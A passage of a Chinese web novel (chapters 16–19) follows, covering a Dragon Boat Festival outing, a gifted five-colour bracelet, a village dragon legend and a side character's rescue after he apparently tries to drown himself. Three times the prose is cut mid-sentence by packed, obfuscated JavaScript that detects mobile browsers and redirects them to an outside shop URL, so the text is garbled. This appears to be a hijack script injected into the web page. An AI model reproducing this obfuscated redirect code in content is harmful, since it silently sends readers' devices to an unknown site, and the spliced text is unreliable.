“你让屈朗帮你截呢?说不定能截成星耀,你比你对象好看,截掉他,档次更高一层楼。” “哎嘿嘿。”管悠被夸到心坎上,捂着嘴,笑得娇羞又狂妄。 屋内光线有些暗了,木屑刨着不方便,琼云把台灯打开,煞白的强光瞬间打到管悠漆黑的头发上,显现出幽深的蓝绿色。 琼云凑近去瞧,“你头发是绿的,是不是染过?” 管悠摆弄自己的头发炫耀:“你现在才发现?平时是黑长直,在阳光下就会变成蓝绿色,小朗给我拍的那组照片超级明显诶。” “我以为那是调色调的。”琼云把脑袋转回去。 “对了,小朗在不在楼上?” 琼云点头,“他下午没出门。”甚至连房间都没出过。 “不让发我也发,谁让他凶我的,网上有谁认识他啊,公安机关吗?他是逃犯呢?我发我自己账号,艾特一下小朗不就行了嘛。”管悠一边说一边往楼梯口走去。 等人楼梯走到一半,琼云才迟钝地喊了句:“你顺便帮我问问他吃不吃晚饭!管悠?” “哎——” 没过几分钟,管悠就回来告诉琼云答案了:“他说他不饿。” 琼云哦了一声,问:“那你吃吗?” 管悠摇了摇头,说:“我待会儿出去吃。”紧接着贼眉鼠眼地往四周打量了一下,坐到琼云身旁,压低嗓音说坏话:“你真喜欢老关啊?什么眼光?我告诉你啊,男的要是青春期的时候就这么胖,下面,不行,那腹部的脂肪一堆,更短。” 琼云突然好开心,肩膀耸动,哼笑了一声——原来他把她推给别人,心里并不好受。 管悠不理解她为什么要笑:“这件事情很严肃的,性生活不和谐再喜欢也没用,你们两个要柏拉图啊?” 琼云根本没把管悠的话听进去,自顾自笑眯眯地说:“不用管他,他是个弱智。” 管悠依旧不理解:“你说谁是弱智?” “姓屈的。” “我姥姥也姓屈。” 在尊老爱幼之美德的感召下,琼云的心思重回正轨,她扭头正视管悠,严肃地道:“对不起你姥姥。” 管悠仰头看天花板:“但我姥姥确实有点老年痴呆了。” “你真的喜欢老关啊?”管悠的脑袋很快扳回来,继续追问:“他到底哪点吸引你?戴个眼镜看起来很有文化?还是肉多抱起来舒服?” 琼云意味深长地摇了摇头,像世外高人一样向管悠设问:“你知道上帝在第七天创造了什么吗?” “什么?”管悠很配合。 “礼拜天,上帝在第七天创造了礼拜天。” “……”管悠觉得这个答案一点儿也不发人深省、振聋发聩,她沉默了一会儿,才继续捧哏,“然后呢?” “礼拜天不用上班。” 管悠皱起眉头,陷入沉思,一边思考一边小幅度轻微而缓慢地点头,片刻后,她终于领悟真理:“单休是上帝创造的。” 16.第 16 章 琼云过端午节只买一束艾草夹菖蒲,不买任何包粽子的材料,她不仅在端午节前夕不包粽子,在端午节当天乃至她接下去的人生中将会度过的每一个端午节,都不打算包粽子。 因为冰箱里永远都会冻着前一年亲戚朋友送来的粽子。 但奶奶很尊重端午节包粽子的传统,不给她粽子包,她浑身难受。 于是琼云让奶奶自己上街去买糯米和粽叶,并且告诉奶奶,如果买回来的太多,忙不过来,她是绝对不会上手帮忙的,她在阿妈去世后过的第一个端午节就是这样说,也是这样做的。那一次奶奶不信邪,买了很多糯米回来,结果发现没了大儿媳,当真忙不过来。她喊师庆,师庆欠一屁股债,日夜兼程给人做家具换钱,不会把时间浪费给这点小事,她又喊女儿喊儿媳,结果大家都有事情要忙,自家的粽子都包不过来,于是她只好去找她那些早就退休了的老姐妹们帮忙,顺便吐槽一下自己的孙女是多么的不孝,自己早逝的儿媳是多么的命苦,这一切都是掘人祖坟掘出来的报应。 琼云并没有成为一名母亲的强烈渴望,但她已经靠着带奶奶体会到了带孩子的感觉,甚至还体验到了亲眼见证孩子成长起来的欣慰,因为奶奶吃了教训长记性,在今年的端午节只买了去年端午节一半的糯米,有进步,值得奖励一朵小红花。 但琼云不会真的去买花,花这种东西遍地都是,自家能种,野地也能长,何苦浪费钱?她只会去集市上买一些奶奶和师庆包括她自己爱吃的东西回来。 每到节假日,到处都会热热闹闹地办起集会来,端午节也不例外,旅游热门地区更甚。管悠和屈朗一大早就结伴出门了,琼云虽然答应了管悠也要出去玩,但她并没有与他俩同行,因为她也答应了阿桐,所以她要等阿桐。 阿桐睡得晚,起得也晚,所以琼云是在一个吃完早饭,午饭就吃不下的时间点,等到的阿桐,还有阿桐手里的一塑料袋五色粽子。 阿桐说这粽子是她阿妈让她给送过来的,她阿妈虽然对她养蜘蛛这件事有很大的意见,但非常鼓励她多和人交朋友。 琼云把粽子放进冰箱,在自己头上安了顶草帽,就和阿桐一起出门去赶街,从街头逛到街尾,也从街头吃到街尾,顺便就把午饭给解决了。 琼云在集市上买了些小吃、干货、草药带回去,为奶奶和师庆的简易粽子午饭添些花样,随后和阿桐两人小小地午休了一会儿,就又出门了。 她们打车来到一家露天茶馆,茶馆旁边有个人工湖,龙舟竞赛就是在这里举行的,上午的赛事已经结束,现在是休息时间段,湖里没有人,只有船只和划分赛道的浮标,但岸上的人很多,密密麻麻如同蚂蚁,因为距离茶馆不远处的大片空地,摆着集市长龙,吃的和玩的各占一半,来往的游客也是大人和小孩各占一半。 茶馆相对清闲,也相对安静,这里没有唱戏或说评书的,只有一只唱民谣的小乐队。 琼云和阿桐找了个靠近乐队的位置坐下,泡了一壶小青柑。 阿桐对这只小乐队很感兴趣,一边看一边用指尖敲桌子打节拍,等一首歌唱完,她才开口说话:“我昨天晚上去一个酒吧面试驻唱,通过了。” 琼云不意外,只好奇:“工资多少?” 阿桐说:“一小时一百二。” “只在晚上唱吗?” “对。” “那挺好的,找工作也不影响,等找到了,这个还能当兼职继续干下去,两份工资加起来……挺多了。”琼云说完,把杯子里放凉的茶水一饮而尽,杯子落下时敲在桌子上的清脆声响打通了她被太阳晒懵的脑回路,“对了,点歌是不是有抽成啊?” “不抽,全归我,一百二一小时这个底薪其实算很低的。” “那我到时候给你捧场去。” “现在就能捧场,给钱。”阿桐朝琼云伸出一只手掌,“友情价一百人民币,我现在就给你唱。” 琼云很用力地打了一下她的手掌,“啪”的一声响,像炮仗炸开。 而手机铃紧接着这声爆炸响起,琼云把电话接起来,管悠的催促声几乎要从手机里钻出来掐住她的脖子:“你怎么还不出来玩?你那什么朋友放你鸽子?跟她绝交!” “她就在我旁边……”琼云转头看了眼阿桐,又望向湖泊,“我早出来了,我就在湖边上啊。” “我也在湖边上,怎么没看到你?上午的比赛你看了吗?哇一个个肌肉练这么好,都光着膀子,这策划太有心机了哎嘿嘿。” “那么多人,你哪能那么容易就找到我?”一个熟悉的背影忽然映入琼云的眼帘,他站在湖边上,肥胖的身躯压着水泥护栏,琼云猛地站起,被波光粼粼的湖面闪得头晕目眩,感到那护栏摇摇欲坠。 “老关!”琼云突然大声叫喊,离开座位朝老关奔去。 管悠在电话那头疑惑又担忧:“怎么了?” 琼云跑到老关跟前,老关看着她,心情似乎很好,脸上挂着笑容:“我以为你不打算出门,本地人会觉得这些活动没什么意思。” “怎么了琼云?”管悠没有得到琼云的及时回复,再次呼唤她。 “没事,我在一个茶馆,你面朝人工湖,朝右手边走到头,这里有个露天的茶馆,还有一只乐队。”琼云给出位置后,就挂断了电话。 管悠和屈朗一起出的门,也是一起找过来的,碰面时,琼云、阿桐、老关三人正坐在竹椅上喝茶。 屈朗看了眼琼云和老关,然后用质疑的目光长久地凝视管悠。 管悠昨天将琼云的话如实复述给了屈朗:“她说你是个弱智。”然后发表了一下“单休是上帝创造的”这条伟大的感悟。 屈朗是这样想的:琼云说他是个弱智,这证明他可能错误地理解了某些事情。但他现在看到琼云和老关在一起,又觉得自己的理解仍旧是错误的。 “你看我干嘛?”管悠的目光带钩,挑了一下屈朗左腕上的五色绳。 于是屈朗再次看向琼云,左手松开相机,朝琼云勾了勾手指,五色绳上串着的一只线织小粽子随之颤动:“你过来一下。” 琼云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254548|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去了。 两人离开大部队约莫五六米,屈朗停下脚步,与琼云面对面,问道:“你说我是弱智什么意思啊?” 听起来像是开战宣言,琼云偷袭了他的珍珠港,炸掉了他的双子塔。 但琼云对自己的军事力量也很有信心:“实话实说。” “你才弱智,你全家都弱智。” 扣动扳机,不过是水枪而已。 琼云俏皮地回:“反弹。” 屈朗反倒认真起来:“你只说要等你朋友,怎么没说要和老关一起,都挑明了有什么不好意思说的?” 琼云反驳道:“你还说你不是弱智?到处造我的谣,我又没约他,我和朋友一起出的门,刚刚才遇到。” 屈朗“昂”了一声,顿时背挺直了,眉毛上扬了,精神气把下巴也提上去了,手往兜里一掏,掏出条五色绳来,塞进琼云手里:“对不起啊,这个给你。” 琼云把五色绳从掌心里抽出来,捏着两端,用指腹灵敏的触觉感受着上面的纹路,缓缓转动,这条五色绳和屈朗手腕上的那条同样是用的五股辫编法,只不过中间串的不是小粽子,而是一只银制的倒灾葫芦。 琼云想起小时候每到端午节,阿妈都会给她编五色绳戴在手腕上,也是这样的五股辫编法,上初中以前还没抽长个头的时候,阿妈甚至会编上四条,让她手腕脚腕全都戴上…… 屈朗在观察到琼云的眼泪溢出眼眶的时候感到十分恐慌,他不知道她是被感动哭的,还是被丑哭的,双手在身上一顿摸,愣是没摸出半张纸巾,只有相机包里有块用来擦镜头的布,但是那块布已经擦过好几次镜头,脏了。 “你自己带纸了吗?”这话问出口的时候,琼云已经泪流满面,肩膀不住颤抖。 “我带了。”琼云带着哭腔说,把五色绳捏在一只手里,另一只手从裤兜里抽出一张手帕纸巾捂到眼睛上。 屈朗不知该如何是好,双手像抓着两个篮球似的疑惑地张着,“有那么丑吗?我的手艺这么差?” 琼云诧异地“嗯”了一声,挪开纸巾,抬起头来,抽噎着说:“这是你自己编的?我说,怎么……一段松,一段紧的,我还以为……你被人坑了呢。” 屈朗解释道:“那做好的摆那卖的也有,但是那牌子上写着可以教你编,我就自己编了两条……但是再丑也不至于哭吧?” 琼云一边擦眼泪一边摇头:“跟你没关系。” “那你为什么哭?” 琼云岔开话题:“你爸没把你的钱全部转走的时候都没想着买礼物送我,现在欠一屁股债买这些有的没的,你怎么想的啊?” 屈朗双手捏衣角作不好意思状:“那刚认识就送礼物给人压力多大呀,你要是对我没兴趣不直接跟我保持距离了吗?我现在欠一屁股债不代表我会一直欠一屁股债,我会赚到钱的,已经有想拍照的联系我……” “屈朗!” 管悠突如其来的一阵怒吼,吓得屈朗瞬间双手贴裤缝,立正了,他扭头一看,管悠正横眉怒目地朝他疾奔而来。 17.第 17 章 站在管悠的视角,故事是这样发展的: 屈朗喜欢琼云,琼云喜欢老关,三个人形成了一个非常俗套的三角关系,但昨天经过她这个局外人缺斤少两亦或添油加醋的转述后,屈朗误以为琼云并不喜欢老关,于是忽如一夜春风来,少男心似桃花开,今天一早紧忙买了礼物,打算和琼云解开误会,并进行一场真情告白,最终抱得美人归,哪知礼物还没送出去,就发现琼云瞒着他“偷偷”和老关约会,这才反应过来所有的一切都只是他自己的一厢情愿,以至于恼羞成怒,对琼云极尽报复之能事。 否则怎么解释琼云突然哭成这样呢? 管悠是个自信大方的漂亮女人,这决定了她的异性缘非常相当之好,被许多男人追求过,可这数量一多,林子一大,就什么奇行种都会有,像屈朗这种“自恋、自私、抠门、没有自知之明、捧着自己一颗不值钱的肮脏真心捎带一件不值钱的礼物告白被拒后就气急败坏觉得对方欠他一个银河系”的男人,她也是见识过的。 于是当即就奔过去,打算好好教训这畜生一顿。 “我他妈真是瞎了眼了,没看出来你竟然是这种人!”管悠冲到两人跟前,就一把将琼云护到身后,指着屈朗的鼻子骂道,“你已经是个成年人了,别他妈拿年纪小当借口,你喜欢她那是你自己的事,你以为你的喜欢很值钱吗?算个屁啊!垃圾!她没义务要答应你,她又不欠你的!没看上你,你就欺负人家,你他妈要不要脸?你当自己是谁啊?就他妈一坨狗屎,拿来糊墙都嫌臭,这大庭广众之下就敢这样,要是没人,那还得了?” 管悠骂起人来像加特林一样,嗓门爆炸大,语速闪电快,任何人都插不上嘴,屈朗已经被她骂傻了,整个人痴呆般愣在原地,琼云听了一会儿,意识到管悠误会了,连忙扒拉她,喊她的名字,哪知管悠一个肘击把她攮回去,告诉她不用怕,紧接着继续骂屈朗。 “我还给你当模特,我他妈给你当模特!给我删掉!手机拿出来!”管悠说着就扑上去掏屈朗的裤兜。 屈朗这下终于回过神,整个人像泥鳅一样蛄蛹起来,一边躲一边解释:“我什么都没干,你上来就骂我。” “还什么都没干!琼云都哭成这样了,你说你什么都没干!?” “她哭不关我事啊。” “真的不关他事,”琼云终于能插上嘴解释,“他没欺负我,你误会了。” “误会?”管悠听琼云这么说,总算镇静下来,只是疑惑:“那你哭什么呀?” 琼云攥着五色绳,有些忸怩地说:“我自己的事,反正他没欺负我。” 管悠又扭头问屈朗:“那你刚才表情那么嚣张干什么?” 屈朗既疑惑又委屈:“我哪里嚣张了?” “你刚才就很嚣张,脑袋仰那么高,拿鼻孔瞪琼云。” 屈朗回想了一下,看了眼琼云,道:“我那是高兴。” “高兴是这么表现的吗?” “谁规定高兴只能有一种表现方式?” “那对不起啊,误会你了,晚上请你吃饭。”管悠松了口气,往旁边一瞧,发现周围的人都在盯着他们看,老关和阿桐也早就候在旁边看戏。 “别看了别看了,误会,误会啊,散了吧。”管悠挥舞双臂,如乐团指挥,转着圈赶看客,赶到一半,发现有人举着手机在录视频,又骂骂咧咧地冲过去,到跟前一看,发现那人其实是在拍乐队,又给人一顿道歉。 老关站在琼云身旁,像欣赏风景一样注视着琼云哭红的眼睛和莹亮的泪水,不问她为什么哭。 但阿桐会问,阿桐紧挨着琼云的肩,嘴唇距离她的脸颊不到一只拳头:“你怎么了?” “没怎么。”琼云摇了摇头,手里仍盘珠串似的盘着五色绳。 阿桐瞥了眼她手里的五色绳,又瞥了眼屈朗左腕上的五色绳,低声道:“这男的在追你?管悠说他刚高中毕业一小孩,瞒着父母偷偷跑出来的,他父母把他的钱都拿走了,现在用的钱都是跟别人借的,欠了一屁股债。” 这大嘴巴—— 琼云扭头看向管悠,发现管悠竟然跟被她误会偷拍视频的路人唠上了。 “你不戴上?” 琼云回过头来,屈朗已经窜到她跟前,略微弓着背,像只鸟似的歪着脑袋瞅她。 “真的编得很丑吗?”他仍在质疑自己的手艺。 琼云摇头,“没有啊,第一次能编成这样已经很厉害了。” “你这条是第二次编的,我这条才是第一次编的。”屈朗转动左腕,晃了晃小粽子,紧接着就抽走琼云手心里的五色绳,抬起她的手腕,从五个指尖套进去,推过手指和手背,套到腕部,抽紧,最后捏着小葫芦摆到正中间。 琼云呆呆地盯着小葫芦,用食指尖轻轻拨动,旁边的阿桐突然用肩膀用力撞了她一下,把她轻飘飘的魂撞回身体里。 “干什么?” “你过来。”阿桐把琼云拽走了。 两人走到一团凉爽的树荫下。 阿桐问道:“这男的以前给你送过礼物吗?” “没有。”琼云摇头。 “你喜欢他。” “没有。”琼云的头摇得更用力。 “那你脸红什么?” “哪有?”琼云捧住自己发烫的脸,目光躲闪地狡辩道:“今天天气太热了。”然后手忙脚乱地把草帽摘下来扇风。 “这男的以前没给你送过礼物,他爸妈把钱拿走了,突然开始给你送礼物追你了,这不明显想吃软饭让你养他吗?一条手绳能值几块钱,你别被他骗了。” 琼云反驳道:“他不是那样的人,你把他想得太坏了,再说他家里经济条件不差的,我自己家里反而欠一屁股债,谁能跟我讨软饭吃?” “你太天真了,你每天和你爹待在家里整那些木头,哪里见识过什么社会险恶,你不要觉得这男的年纪小就一定单纯,他家里条件好又怎么样,有钱人才最精明最抠门,他父母既然放心把他的钱全部拿走,让他一个人留在这里,肯定对他的生存能力有信心,而且……” “而且什么?”琼云期待她继续说下去。 “没什么。”阿桐扭头看向一旁,她原本想说琼云的身世背景特殊,很容易恋爱脑,可又怕冒犯到她。 琼云笑,“你不用替我操心,我没那么容易被骗,别想这些事了,我们是出来玩的,走吧,我们去那边的摊子看看。”说着挽起阿桐的手,去找大部队集合。 距离下午的龙舟竞赛开始还有很长一段时间,一行人钻进热闹的人群里,心甘情愿买些溢价严重的吃喝玩乐的东西,一边吃一边看表演。 屈朗一路拍照拍过去,他上午也是这么走到哪拍到哪的,拍小孩、拍漂亮的女生、拍情侣、拍完了带着照片上前找小孩父母或本人告知实际用途问肖像授权,被拒绝就当面删掉,挨骂了也当面删掉,碰到觉得自家小孩能当童模管他要钱的也删掉。于是一整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260184|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天拍下来,吃尽了瘪,可用的根本没几张。但各处活动里浓妆艳抹的NPC们倒是允许他随便拍,一拍就是好几百张,但好歹也是人像,他打算回去筛一筛修一修,也拿来打广告。 下午的龙舟竞赛一直拖拖拉拉到四点钟才正式开始,临近傍晚,温度降下去,阳光也没那么晒了,五人提前找了最佳观战位置,靠着水泥护栏站成一排。 琼云在比赛开始前,讲了一个与这个人工湖和龙舟相关的民间传闻,在她爷爷的爷爷年少时的那个年代,这个人工湖还只是一块低洼地,有一条受伤的黑色巨龙在某一个暴风雨夜偶然坠落到了这块洼地上。 “长得和电影电视剧里的一样吗?”屈朗率先发出疑问。 琼云说:“很像,但不完全一样,这条龙只有一只角。” 屈朗大胆猜测:“它的另一只角被闪电劈断了,所以掉下来了。” 琼云摇了摇头,说:“不是,它只有一只角,像独角兽那样,形状也像独角兽的角,长在额头中间。” “独角龙。”管悠突然打趣道。 “还有呢?它身体其它部位就都和电影里的一样吗?”屈朗身体放松,把下巴搁在护栏立柱上,一脸好奇地看着琼云。 琼云继续描述细节:“头部很像鳄鱼,但是有胡须,眼睛特别大,是凸出来的,像两颗会发光的球,他们说长得特别恐怖,而且闻起来很臭,有很重的鱼腥味。” 管悠笑道:“东海龙宫三太子是吧?被哪吒抽了龙筋掉下来的,叫金龙鱼,不,黑龙鱼。” 屈朗抬起脑袋,认真反驳道:“海里的怎么能掉到陆地上?” “哪吒在天上抽的龙筋不行啊?” “哪吒是在东海里抽的龙筋好不好?” 眼看要吵起来,琼云打“安静”手势警告,“还要不要听了?” “要听。”屈朗扭过头来,再次把下巴搁到立柱上。 琼云接着说:“这龙不光闻起来臭,看起来也特别脏,因为他身上很腥,招苍蝇,它的鳞片会一张一合,有的苍蝇没及时飞走就被夹死在鳞片下面了,所以它身上有很多苍蝇虫子的尸体。” 管悠皱巴巴地“咦”了一声,道:“这么恶心,神话传说里龙都是很神圣的,我们还是龙的传人呢。” 琼云耸了耸肩膀,道:“也许是因为这条龙修炼不到家,我爷爷说真正的龙身上是香的,这条应该只能算蛟。” 屈朗问:“你爷爷见过真龙?” “没见过,他也是听别人说的。” “后来呢?” “它掉下来的时候是凌晨,离天亮已经很近了,但是天亮以后就没有再下雨,出了大太阳,把它身上和地上的水全都晒干了,当时那些村民就发现,这条龙越晒太阳就越虚弱,后来不知道哪个人出来告诉其它村民,龙是离不开水的,一直晒下去,就会被晒死。” “可以往它身上泼水,龙那么大,应该搬不动吧?” 琼云说:“是啊,肯定搬不动,所以村民们把它吃了。” “啊?”屈朗的脸皱成一团,觉得这个结局难以接受。 管悠则笑得差点被自己的口水呛到,“一群大馋丫头。” 阿桐的态度更是地狱:“好吃吗?” “听说很鲜,不是有那么句话。”琼云指了指天,又指了指地,“天上龙肉,地下驴肉。” 砰! 裁判朝天鸣枪,比赛正式开始,龙舟如离弦之箭—— 18.第 18 章 管悠是个守信用的人,她说要请屈朗吃饭,就一定会请屈朗吃饭,而她同时还是个好面子的人,她是在同行的其余三人面前向屈朗承诺这件事的,所以她打算顺便请其余三人一起吃晚饭。 然而这其余三人的个性并不爽快或厚脸皮,他们与管悠不相熟,今后也不太可能成为很亲密的朋友,有机会礼尚往来把这顿饭请回去,于是提出AA,他们各自A各自的,然后屈朗的那份,由管悠代替A掉。 但更大的问题是等到龙舟竞赛结束,抵达晚饭点的时候,没有任何一个人感到饥饿,因为他们的肚子里被塞进了太多的小吃。 没有任何一个经济水平平庸的正常人会选择在吃不下的情况下去菜价翻倍的饭馆里浪费钱的,所以他们打算等湖边的广场架起篝火、响起舞曲,和来往的游客或本地人绕着篝火蹦跶几圈消化一下,再去吃晚饭……也可能是夜宵。 天还没黑透的时候,广场上就架起了篝火,虽然现在已经是夏天,但火光映照在身上并不会令人感到燥热,因为高海拔地区的高温取决于阳光,只要太阳一落山,或者人在白天主动躲进太阳照不到的地方,体感的温度就会大幅度下降,不仅不热,还十分凉爽。 人群绕着篝火有序围出了三四圈,最内圈由穿着民族服饰的NPC们领舞,五人就站在NPC们身后。 琼云和阿桐作为本地人,打小就会跳舞,即便家里的长辈不教,学校也会教,从幼儿园到高中的课间操都是拿来跳的。于是她们两人负责对其他三人进行舞蹈教学,告诉他们脚步的节奏该怎么踏,手臂和腰身怎么随着音乐自然律动。 琼云的四肢修长,体态轻盈,舞姿舒展灵动,上学的时候,就总被老师拎到前头做领舞,屈朗看着她的样子学,看着看着不禁又露出痴呆的表情来,他不知道为什么,明明是同样的舞蹈动作,别人跳起来像狗刨、像应激的大鹅、像商场门口的充气人偶,琼云跳起来就那么的灵巧优雅又流畅,跟花丛里翻飞的白蝴蝶似的。 情人眼里出西施么?他认为绝不仅仅是因为如此。 他的精神状态发痴,肢体和思维能力也变得无比迟钝,对站在他另一侧的管悠而言,他就是个路障,管悠前进的步伐被卡了一会儿,就忍不了使劲推了他一把,骂道:“你他妈挪过去啊!没看到别人都转着跳的吗?” 屈朗好柔弱,这一推,就差点撞到琼云身上去,她被火光照得红扑扑的脸和格外明亮的眼睛突然放大在他面前,血一下子全都涌进脑子里,思维像被雷劈了一下,清晰了一瞬间,紧接着就被高温炙烤得晕晕乎乎了,他傻乐着回头看向管悠,看见她抡大锤般的精湛舞姿,突然鹅叫了一声,评价道:“你跳起来好像大猩猩。” “我看你像癞蛤蟆!”管悠反击道。 屈朗放声大笑,他要大快朵颐天鹅肉! 他们绕着篝火转了一圈又一圈,肢体对音乐的节奏和舞蹈的动作越来越驾轻就熟。 湖泊对岸猝然升起一抹细长的火星,尖锐的呼啸声穿破云端,在夜空绽放出层层叠叠的溢彩流光,如梦如幻倒映在湖面的波澜。 琼云仰头望向天空,烟花一朵接着一朵在漆黑的空气中绽开,弥漫起缕缕烟雾。 人群开始欢呼、吵闹,渐渐地,这种吵闹穿插进了几声尖叫和惊呼,顿时乱作一团,围绕篝火的层层人墙逐渐分崩离析。 “好像有人掉湖里了。” 琼云在一片混乱中听到这个消息,瞬间手足发软,浑身打抖,她急忙朝周围寻找老关的踪影,大声呼唤他的姓名,可是她既没有看到他的踪影,也没有听到他的回应。 “他出去有段时间了。”阿桐告知。 琼云瞬间觉得天旋地转,整个人直接软到在地上。 拥挤慌乱的人群极易发生踩踏事故,屈朗连忙抱她起身,“别坐地上!我们出去!” 四人挤出人群,来到一处光线昏暗的空地上,屈朗感觉到琼云的身体一直在发抖,呼吸急促得有些不正常,于是打开手机灯查看她的状态。 琼云对刺眼的强光没什么反应,双目只是惊恐地看着湖泊方向,面容惨白,唇无血色,额角和脖颈上都冒出了细密的汗珠。 “她有什么病史吗?”屈朗问这里理应对琼云最了解的阿桐。 管悠被吓了一跳,“这,这不正常吧,赶紧打120.”说着连忙掏出手机拨号码。 “不用。”阿桐制止她,揽过琼云的腰,对屈朗说:“你去买瓶水。” 屈朗应声,对管悠指指琼云,“你过来扶一下。”管悠接了他的班,他才跑去买水。 “让她坐地上。”阿桐对管悠说,随后矮下身去。 管悠也跟着矮下身,慢慢把琼云放到地上,心中却仍不完全信任阿桐的做法:“真不用打120啊?你知道她为什么突然这样?” “我知道,休息一下就好了。”近些年阿桐虽然和琼云的关系疏远了,但琼云阿妈落水去世的消息她还是有听说过的,但她不能说出来,不能再刺激琼云。 阿桐也坐到地上,让琼云靠在她怀里,轻轻拍打她的肩臂安抚她。 屈朗很快就买水回来了,他拧开盖子,蹲下来,把水凑到琼云嘴边。 “让她自己喝。”阿桐接过水往琼云手里塞,“要喝水吗?有没有力气拿住?” 琼云握住了水瓶,但没有喝,又因为手抖,撒出去不少,她把脑袋抬起来,哑着嗓子有气无力地说:“老关要自杀。” “什么?!”管悠震惊到差点破音,“这小胖子不乐乐呵呵的吗?怎么会自杀?” “他自杀过很多次了,他手腕上有两道疤。” 屈朗一下子反应过来:“所以你是因为发现他想自杀才那么关心他,你怎么不早告诉我?” 管悠露出鄙夷的表情:“大哥,这种时候就没必要吃醋了吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263753|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >屈朗一下子又反应过来,脑袋唰的一下转向湖泊:“跳湖的人是老关!?” “啊?”管悠也扭过头去。 屈朗拔腿朝挤在湖边看热闹的人群奔去,紧接着管悠也起身跟了过去。 琼云叼住瓶口,抬起瓶身喝了一口水,被呛到,水又吐了出去。 阿桐连忙换姿势单膝跪到地上,给她拍背。 龙舟竞赛的安全设施包括救生员,即便今天的赛事已经结束,但岸上的游客还未离开,所以这群救生员并没有全部下班,老关很快就被捞了上来。 等老关被一顿心肺复苏,把肚子里的水吐出来,睁开眼睛,管悠和屈朗才跑回来把消息带给琼云。 琼云已经恢复得差不多了,阿桐扶着她去找老关。 老关湿淋淋地侧卧在地上,被一大群人围观,好像一只被钓鱼佬钓上来的超大号胖头鱼。 旁边的救援人员就是钓鱼佬,他们给老关划出了保护圈,要求周围观众只可远观而不可亵玩焉。 阿桐出其不意攻其不备,上前一脚踢向胖头鱼的肚皮,助他吐干净肚子里的水。 救援人员连忙把阿桐给拉开了,琼云也惊讶地抓住了阿桐的手,但阿桐仍不消气,亮开嗓门冲老关骂道:“你真想自杀早就死了!当着这么多人的面,湖边还守着救生员,你装什么呢?!” 老关突然笑了起来,手像喝醉了似的胡乱比划,“你刚才有没有看到烟花同时在夜空和湖面绽放的样子?太美了,我永远都写不出比这更美的诗。” 管悠听得眉头紧皱,龇了一下牙,指着自己的太阳穴,向屈朗道:“溺水会伤到脑子的吼?” 救护车很快就到了,需要有人陪同。老关在这里既没有朋友也没有家属,琼云作为他的房东算是最亲近的人,本该是第一选择,但碍于健康状况也堪忧,屈朗就主动代她去了。 老关上了救护车,这件事就算解决了。管悠问琼云和阿桐要不要一起去吃晚饭,琼云说吃不下,自己要先回去,而阿桐要陪着琼云一起回去,所以最后管悠是一个人去吃的晚饭。 阿桐陪着琼云到家,坐了一会儿,把老关的事情和师庆说了,才回去。 琼云的身体格外疲惫,靠在沙发上许久都起不来。 工作室里安静了好一会儿,师庆突然看着琼云手腕上的五色绳问道:“你单单就买根五色线噶?” 琼云垂眸看了眼小葫芦,道:“不是买呢,是别个送呢。” 师庆瞬间知晓:“那个后生家送呢。” 琼云嗯了一声。 师庆叹了口气,语重心长地道:“你不喜欢他,就莫要收他送呢礼,不然他以为你也喜欢他,回头就要缠着你嘞,你该不是对他也真个有意思?” 琼云突然提起精神来,上身坐直,掐住右腕的五色绳,心想是啊,她不是希望他早点回家去吗?怎么把这条五色绳收下了,真是被太阳晒昏了头。 19.这章先不要看 古人认为端午节是一年之中阳气最旺盛的一天,但万事过犹不及,阳气旺盛到了顶点,下一步就是逐渐衰弱,就如月亮盈满必缺,而与此同时,与之相对的阴气就会开始滋生,阴阳交替之际,天地间气场动荡,邪佞得以当道,五毒得以并出,因此人在这一天极易感染疾病、吸附邪祟。 为了抵御疾病与邪祟,古人设计出了许多种策略,并于后世发展成了民俗,在手臂上系戴五色绳就是其中一种。 五色绳的五色为黑、红、青、白、黄,分别对应构成天地万物基本元素的水、火、木、金、土五行,意在借助天地万物的力量将企图入侵人体的疾病与邪祟吸附在这条绳子上。 因此五色绳佩戴到身上之后,需要在一个特殊的时间段摘下并丢弃,意味着将疾病与邪祟一并丢弃。 所以琼云很犹豫,要不要把五色绳还回去,她已经戴过了,如果还回去,那不是意味着将疾病与邪祟丢给屈朗吗?他又不是垃圾桶。可是五色绳在历史进程中还演变出了定情信物的用途,屈朗也早已明确向她表达过爱意,所以这件礼物从挑选到赠予,意图都显而易见,她总不能装傻吧? 想到装傻这个选项,琼云的脑海里就浮现出了屈朗偶尔露出痴呆表情的模样,嘴角不可抑制地上扬,她的胸腔中突然有种强烈的、如同可乐倒进杯子里狂乱翻腾的气泡一般的情绪需要向外发泄出来,于是她捂住脸闷闷尖叫了一声,然后面无表情地打了自己一嘴巴。 “你整哪样?”师庆正埋头专心刨木屑,被琼云这鬼动静吓了一跳。 